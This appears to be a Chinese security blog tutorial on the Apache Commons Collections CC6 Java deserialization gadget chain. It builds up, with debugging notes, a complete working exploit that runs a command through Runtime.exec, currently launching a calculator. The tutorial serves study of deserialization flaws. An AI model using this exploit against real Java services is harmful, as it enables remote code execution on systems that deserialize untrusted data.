参考链接
https://www.bilibili.com/video/BV1yP4y1p7N7
https://y0n3er.github.io/undefined/29590.html
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java
环境搭建
jdk_8u71:https://blog.lupf.cn/articles/2022/02/20/1645352101537.html
虚拟机安装以后拷贝出来
然后在project structure里配置Project、Modules、SDKs
注意:调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致变量值改变!
调用链分析
yoserial的调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
by @matthias_kaiser */
|
前半段和CC1-LazyMap是一样的,只分析一下LazyMap上面的调用。
- TiedMapEntry#getValue()调用了map.get(key)
- TiedMapEntry#hashCode()调用了TiedMapEntry#getValue()
- HashMap#hash(Object key)调用了key.hashCode()
- HashMap#readObject()调用了HashMap#hash(key)
所以只需要一个HashMap序列化,key指定为TiedMapEntry对象,
再把TiedMapEntry对象的map属性改成LazyMap对象,就会调到它的get了。
编写Exp
lazyMap#get()
先确定lazyMap.get()能触发命令执行,Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get("Jasper"); } }
|
TiedMapEntry#getvalue()
然后再构造TiedMapEntry的对象,观察是否能调到get()
注意构造函数要把lazyMap传进去,key随便取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); tiedMapEntry.getValue(); } }
|
TiedMapEntry#hashCode()
hashCode()经常用来和入口类HashMap对接,需要比较敏感。
这里和上一步没差别,加了一层函数调用而已,为的是方便连上后面的入口类HashMap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); tiedMapEntry.hashCode(); } }
|
HashMap#hash()
这个hash()是default权限的,我们用反射访问,确定链子到这没问题,Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); Class clazz = Class.forName("java.util.HashMap"); Method hashMethod = clazz.getDeclaredMethod("hash", Object.class); hashMethod.setAccessible(true); hashMethod.invoke(clazz,tiedMapEntry); } }
|
HashMap#readObject()
它的反序列化函数会把hashMap这个对象里的key读出来做hash(),即hash(key)
这就需要我们在要序列化的对象里,put一个键值对,把key设成tiedMapEntry对象
Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); serialize(hashMap1); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o); System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } }
|
**但是注意:这里实际上在put键值对的时候就触发了链条,弹出了计算器,这显然不对。
最终Exp
到这里,Exp还存在两个问题:
- put的时候会提前调用了链条(老让自己电脑执行命令,不方便利用)
- put调用链子后,再次反序列化不会进transform()
首先解决HashMap#put()会触发链条的问题,这是因为它也会调HashMap#hash()
这意味着我们的链条会先被执行一次,而我们不想让它在自己电脑弹计算器(不方便),可以做这个修改:
1 2 3 4
| LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
|
这样一来,即使put调用了链子,也只是返回一个常量,不会弹计算器。
但是,我们在改了链条去绕put之后,在反序列化之前肯定要把链子改回来,尝试编写Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); Field factoryField = lazyMap.getClass().getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
serialize(hashMap1); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } }
|
实际上虽然put会弹计算器,但反序列化还能再弹一个计算器,这里猜测改掉的原因,可能是让exp更加优雅。
然后,解决反序列化不进transform()的问题,我们试着调试一下反序列化函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| get:157, LazyMap getValue:74, TiedMapEntry hashCode:121, TiedMapEntry hash:338, HashMap readObject:1397, HashMap invoke0:-1, NativeMethodAccessorImpl invoke:62, NativeMethodAccessorImpl invoke:43, DelegatingMethodAccessorImpl invoke:497, Method invokeReadObject:1058, ObjectStreamClass readSerialData:1900, ObjectInputStream readOrdinaryObject:1801, ObjectInputStream readObject0:1351, ObjectInputStream readObject:371, ObjectInputStream unserialize:62, TestCC6 main:48, TestCC6
|
发现这里key2已经存在了,导致过不了判断,进不了transform(),这是为什么呢?
原因在于,执行put的时候调用过了一次这条链,在那时LazyMap就把没加载进来的key2给加进来了:
1 2 3 4 5 6
| get:159, LazyMap getValue:74, TiedMapEntry hashCode:121, TiedMapEntry hash:338, HashMap put:611, HashMap main:41, TestCC6
|
这也是LazyMap类的功能所在,所谓的懒加载,那我们得想办法进到if判断里,来调transform()
这里很容易想到,我们把在序列化之前,再把key2给删了就好,最终Exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class TestCC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2"); HashMap<Object,Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry,"Jasper"); Field factoryField = lazyMap.getClass().getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); lazyMap.remove("key2"); serialize(hashMap1); unserialize(); } public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } }
|
注意事项
调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致调试HashMap#put()的时候,
走到LazyMap#get()里,会自动给map添加key2,导致无论如何都过不了if,也调不了transform()
总结
CC6这条是不限制jdk版本的链子,比较通用,毕竟没有哪个版本会把HashMap给过滤了。
值得注意的是,CC6这条链给出了在Exp编写中,某个函数提前触发了链条的解决办法。
这条链本身并不难,主要是被IDEA的调试器给制裁了,导致调半天找不到出错原因。